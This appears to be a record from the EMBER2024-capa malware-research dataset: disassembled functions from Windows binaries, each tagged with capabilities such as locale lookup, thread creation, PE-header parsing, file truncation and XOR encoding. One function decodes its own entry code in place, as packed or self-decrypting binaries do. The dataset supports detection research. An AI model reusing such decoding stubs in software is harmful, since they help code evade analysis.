joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180089488
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, [0x1800e7bf0]
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800894c2
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800894c7
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x180089510
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.LIBPQ.dll_Ordinal_1
cmp byte [rcx + rax], 0
je 0x180089510
dec r8
sub rdx, 1
jne 0x1800894f6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1800a25a8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1800a25df
call fcn.1800993a8
mov dword [rax], reloc.LIBPQ.dll_Ordinal_22
call fcn.1800997d4
xor eax, eax
jmp 0x1800a2671
mov rdx, r9
mov rcx, r8
call fcn.1800a2544
mov rbx, rax
test rax, rax
je 0x1800a266e
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], edi
mov qword [rsp + 0x28], rax
lea r8, [0x1800a2478]
mov eax, dword [rsp + 0x60]
mov rdx, rsi
mov r9, rbx
mov dword [rsp + 0x20], eax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1800a265b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.180099338
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1800a2642
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1800a2651
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1800a6d40
jmp 0x1800a266e
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1800a266b
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1800a5e7c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1800a5eeb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800a5eeb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1800a5eeb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1800a5eeb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800a5eeb
cmp dword [rcx + 0x84], 0xe
jbe 0x1800a5eeb
cmp dword [rcx + 0xf8], 0
je 0x1800a5eeb
mov ecx, ebx
call fcn.1800a5f90
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1800a5d84
nop
cmp dword [rbp + 0x20], 0
jne 0x1800a5f4c
call fcn.1800aee2c
cmp eax, 1
jne 0x1800a5f3c
xor dl, dl
jmp 0x1800a5f46
call fcn.1800b0200
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1800a5f57
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800a5f60
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1800a5e7c

Function at 0x1800a7ae8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x18022b050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x1800a7b4d
test rax, rax
jne 0x1800a7b3b
lea r9, [0x1800eba10]
lea r8, [0x1800eba08]
lea rdx, [0x1800eba10]
lea ecx, [rax + 0xa]
call fcn.1800a7760
test rax, rax
je 0x1800a7b4d
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.1800b9560
jmp 0x1800a7b67
xor edx, edx
mov rcx, rbp
call fcn.1800a7dd8
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1800ac390
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800ac3a6
mov al, 1
jmp 0x1800ac412
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800ac3b7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800ac410
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800b62d8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800ac410
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800ac410
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800ac410
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800ac412
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1800adc98
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18008b360
sub rsp, rax
mov rax, qword [0x18021a280]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1800ab24c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800adce7
mov rax, rbp
jmp 0x1800addf3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x221210]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800aeca0
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x221210]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1800addef
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800addef
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800aeca0
test rax, rax
js 0x1800addef
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800addef
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800adde1
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800adde1
cmp byte [rcx], 0xd
jne 0x1800addc7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800addd6
cmp byte [rcx + 1], 0xa
jne 0x1800addd6
inc rcx
jmp 0x1800addd6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x21a860]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800adda9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800addf3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18008a510
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800adf88
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x180221210]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x1800adfde
cmp word [rdx], r9w
jne 0x1800adfde
or byte [rax + rbp*8 + 0x38], 4
jmp 0x1800adfe3
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x1800ae162
mov r11d, Ordinal_15
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x1800ae12d
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x1800ae02b
cmp rcx, r8
jae 0x1800ae04b
cmp word [rcx], r9w
jne 0x1800ae02b
add rax, 4
mov edx, r9d
jmp 0x1800ae02e
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x1800ae000
jmp 0x1800ae162
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800ae126
cmp dword [rsp + 0x80], edi
je 0x1800ae126
lea r9, [0x180221210]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x1800ae100
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x1800ae0b3
mov word [rbx], bp
jmp 0x1800ae15f
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], Ordinal_15
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x1800ae0ce
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x1800ae15f
cmp word [rsp + 0x70], bp
jne 0x1800ae10c
cmp rbx, rsi
je 0x1800ae0ab
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1800aeca8
cmp word [rsp + 0x70], bp
je 0x1800ae162
mov word [rbx], Ordinal_15
jmp 0x1800ae15f
mov rcx, r15
lea r9, [0x180221210]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1800ae15c
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1800ae162
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800b183c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800b186c
xor eax, eax
jmp 0x1800b192f
mov rbp, rbx
cmp word [rax], si
je 0x1800b1891
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800b1878
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800b1874
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800a9bb0
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x1800b18d2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800b1865
call fcn.1800a6da0
mov rdi, rax
test rax, rax
jne 0x1800b18e8
xor ecx, ecx
call fcn.1800a6d40
jmp 0x1800b18c7
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800a9bb0
test eax, eax
jne 0x1800b1919
mov rcx, rdi
call fcn.1800a6d40
jmp 0x1800b1923
xor ecx, ecx
call fcn.1800a6d40
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800b4434
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rdx
mov dword [rsp + 0x30], esi
mov rbx, rcx
test rcx, rcx
je 0x1800b44a7
cmp word [rcx], si
je 0x1800b44a7
lea rdx, [0x1800f22c0]
call fcn.1800b80a0
test eax, eax
je 0x1800b44a7
lea rdx, [0x1800f22d8]
mov rcx, rbx
call fcn.1800b80a0
test eax, eax
jne 0x1800b449d
mov ecx, dword [rdi + 8]
lea r9d, [rsi + 2]
lea r8, [rsp + 0x30]
mov edx, 0x2000000b
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1800b44c4
mov eax, dword [rsp + 0x30]
jmp 0x1800b44d6
mov rcx, rbx
call fcn.1800a26b4
jmp 0x1800b44d6
mov ecx, dword [rdi + 8]
lea r8, [rsp + 0x30]
mov r9d, 2
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1800b44c8
xor eax, eax
jmp 0x1800b44d6
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x1800b44d6
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800b44e8
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov ebp, edx
mov dword [rax + 8], ebx
mov edi, ecx
call fcn.1800a7280
mov ecx, edi
lea r9d, [rbx + 2]
and ecx, 0x3ff
lea r8, [rsp + 0x30]
bts ecx, 0xa
mov edx, 0x20000001
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1800b458b
cmp edi, dword [rsp + 0x30]
je 0x1800b4584
test ebp, ebp
je 0x1800b4584
mov r9, qword [rsi + 0x98]
mov r8d, ebx
movzx edx, word [r9]
lea rcx, [r9 + 2]
lea eax, [rdx - 0x41]
cmp ax, 0x19
jbe 0x1800b4560
sub dx, 0x61
cmp dx, 0x19
ja 0x1800b456c
movzx edx, word [rcx]
inc r8d
add rcx, 2
jmp 0x1800b454d
or rax, 0xffffffffffffffff
inc rax
cmp word [r9 + rax*2], bx
jne 0x1800b4570
cmp r8d, eax
setne bl
mov eax, ebx
jmp 0x1800b458d
mov eax, 1
jmp 0x1800b458d
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800b8ba0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800aeca8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800aeca8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800b8ced
cmp rax, 0xffffffffffffffff
je 0x1800b8ced
xor edi, edi
test rbp, rbp
jle 0x1800b8c9b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800a6cc0
mov rbx, rax
test rax, rax
jne 0x1800b8c28
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800b8c91
mov edx, 0x8000
mov ecx, r14d
call fcn.1800b8a24
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800acfe8
cmp eax, 0xffffffff
je 0x1800b8c71
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800b8c38
mov edx, r15d
mov ecx, r14d
call fcn.1800b8a24
jmp 0x1800b8c91
cmp byte [rsi + 0x38], dil
je 0x1800b8c88
cmp dword [rsi + 0x34], 5
jne 0x1800b8c88
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], Ordinal_15
cmp byte [rsi + 0x30], dil
je 0x1800b8c91
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800a6d40
jmp 0x1800b8cff
jns 0x1800b8cff
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800aeca8
cmp rax, 0xffffffffffffffff
jne 0x1800b8cb9
cmp byte [rsi + 0x30], dil
je 0x1800b8cff
jmp 0x1800b8cf5
mov ecx, r14d
call fcn.1800b62d8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800b8cff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, Ordinal_15
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], Ordinal_15
jmp 0x1800b8cff
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800b8cfa
mov edi, dword [rsi + 0x2c]
jmp 0x1800b8cff
mov edi, reloc.LIBPQ.dll_Ordinal_22
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800aeca8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1800b91b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800b91d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800b91d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140028974
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c284
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c284
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028ac4
cmp rax, 0xffffffffffffffff
je 0x140028ac4
xor edi, edi
test rbp, rbp
jle 0x140028a6f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001eb98
mov rbx, rax
test rax, rax
jne 0x1400289fc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028a65
mov edx, 0x8000
mov ecx, r14d
call fcn.140019be8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cf60
cmp eax, 0xffffffff
je 0x140028a45
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028a0c
mov edx, r15d
mov ecx, r14d
call fcn.140019be8
jmp 0x140028a65
cmp byte [rsi + 0x38], dil
je 0x140028a5c
cmp dword [rsi + 0x34], 5
jne 0x140028a5c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028a65
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a948
jmp 0x140028ad8
jns 0x140028ad8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c284
cmp rax, 0xffffffffffffffff
jne 0x140028a90
cmp byte [rsi + 0x30], dil
je 0x140028ad8
mov edi, dword [rsi + 0x2c]
jmp 0x140028ad8
mov ecx, r14d
call fcn.14001871c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028ad8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028ad8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028ad1
mov eax, dword [rsi + 0x2c]
jmp 0x140028ad6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c284
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029bd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029bf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029bf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001040
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0xda
add al, 0x76
xor al, 0x8a
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
xchg esi, eax
in ax, dx
invalid
Function at 0x18007b35b
Capabilities:
Terminate process

Disassembly:
jmp 0x18016c3a0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x18007b65d
Capabilities:
Write file on windows

Disassembly:
jmp 0x18009d4a0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1801e2071]
call fcn.18007c341
nop
mov r9, qword [rbp + 0xf8]
mov r8, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.ucrtbased.dll_fwrite]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x18007b77f
Capabilities:
Read file on windows

Disassembly:
jmp 0x18009d420
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x1801e2071]
call fcn.18007c341
nop
mov r9, qword [rbp + 0xf8]
mov r8, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.ucrtbased.dll_fread]
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x18007b793
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x18009da50
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x20]
lea rcx, [0x1801e2071]
call fcn.18007c341
nop
mov eax, dword [rbp + 0x1a0]
not eax
mov dword [rbp + 0x1a0], eax
mov eax, dword [rbp + 0x1a0]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x28], rax
lea rax, [0x1801789d0]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x198], 0
je 0x18009db89
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x198]
dec rax
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x158], 0
je 0x18009daea
mov dword [rbp + 0x160], 1
jmp 0x18009daf4
mov dword [rbp + 0x160], 0
cmp dword [rbp + 0x160], 0
je 0x18009db84
mov rax, qword [rbp + 0x28]
movzx eax, byte [rax]
mov byte [rbp + 0x64], al
mov rax, qword [rbp + 0x28]
inc rax
mov qword [rbp + 0x28], rax
movzx eax, byte [rbp + 0x64]
cmp eax, 0x23
jne 0x18009db5e
cmp qword [rbp + 0x198], 2
jb 0x18009db5e
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18009db5e
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rbp + 0x28]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18009db5e
mov eax, dword [rbp + 0x1a0]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 8
mov ecx, dword [rbp + 4]
and ecx, 0xff
movzx edx, byte [rbp + 0x64]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rbp + 0x48]
xor eax, dword [rdx + rcx*4]
mov dword [rbp + 4], eax
jmp 0x18009dab5
jmp 0x18009dc16
mov rax, qword [rbp + 0x28]
movzx eax, byte [rax]
mov byte [rbp + 0x84], al
mov rax, qword [rbp + 0x28]
inc rax
mov qword [rbp + 0x28], rax
movzx eax, byte [rbp + 0x84]
test eax, eax
je 0x18009dc16
movzx eax, byte [rbp + 0x84]
cmp eax, 0x23
jne 0x18009dbed
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18009dbed
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rbp + 0x28]
movzx eax, byte [rcx + rax]
cmp eax, 0x23
jne 0x18009dbed
mov eax, dword [rbp + 0x1a0]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 8
mov ecx, dword [rbp + 4]
and ecx, 0xff
movzx edx, byte [rbp + 0x84]
xor ecx, edx
mov ecx, ecx
mov rdx, qword [rbp + 0x48]
xor eax, dword [rdx + rcx*4]
mov dword [rbp + 4], eax
jmp 0x18009db89
mov eax, dword [rbp + 4]
not eax
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x18007b973
Capabilities:
Create process on windows

Disassembly:
jmp 0x180164d40
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x30]
lea rcx, [0x1801e2771]
call fcn.18007c341
nop
lea rcx, str.Checking_Auth_Key...
